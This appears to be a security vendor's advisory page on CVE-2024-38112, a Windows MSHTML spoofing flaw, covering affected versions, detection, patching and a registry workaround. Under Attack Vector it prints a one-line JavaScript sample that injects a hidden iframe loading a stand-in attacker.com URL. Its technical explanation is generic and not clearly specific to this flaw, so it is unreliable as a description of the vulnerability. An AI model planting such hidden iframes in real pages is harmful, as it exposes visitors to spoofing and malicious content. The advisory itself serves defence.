CVE-2024-38112: Windows MSHTML Platform Spoofing Flaw

CVE-2024-38112 Overview

Windows MSHTML Platform Spoofing Vulnerability

Critical Impact

This vulnerability allows attackers to spoof the MSHTML platform in Windows, potentially leading to a high impact on confidentiality, integrity, and availability.

Affected Products

• Microsoft Windows 10 1507
• Microsoft Windows 10 1607
• Microsoft Windows 11 21H2

Discovery Timeline

• Not Available - Vulnerability discovered by Not Available
• Not Available - Responsible disclosure to Microsoft
• Not Available - CVE CVE-2024-38112 assigned
• Not Available - Microsoft releases security patch
• 2024-07-09 - CVE CVE-2024-38112 published to NVD
• 2025-10-28 - Last updated in NVD database

Technical Details for CVE-2024-38112

Vulnerability Analysis

The vulnerability resides in the Windows MSHTML platform, where improper handling of HTML content could allow attackers to execute spoofing attacks. This can lead to unauthorized actions within the user's context.

Root Cause

The issue arises due to inadequate validation and handling of MSHTML input, which fails to sanitize HTML elements properly.

Attack Vector

Attackers can exploit this vulnerability over a network by tricking users into visiting a malicious website or opening a specially crafted document.

// Example exploitation code (sanitized)
document.body.innerHTML = '<iframe src="http://attacker.com/spoofed" width="0" height="0"></iframe>';

Detection Methods for CVE-2024-38112

Indicators of Compromise

• Unusual iframe creations in MSHTML
• External unexpected network calls
• Spoofed URLs in document source

Detection Strategies

Implement monitoring of network traffic for anomalies, particularly targeting MSHTML operations and network connections to known malicious domains.

Monitoring Recommendations

• Use SentinelOne’s endpoint protection to flag and block malicious MSHTML activity in real-time.
• Employ network monitoring solutions to detect abnormal connections or embedded malicious iframes.

How to Mitigate CVE-2024-38112

Immediate Actions Required

• Apply the latest security updates from Microsoft immediately.
• Educate users about the risks of opening unknown email attachments or links.
• Enforce robust security policies via Group Policy Objects (GPOs).

Patch Information

The security patch addressing this vulnerability is available at the Microsoft Security Response Center.

Workarounds

Disable active scripting within Internet Explorer to prevent potentially malicious scripts from executing.

# Configuration example
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" -Name "1400" -Value 3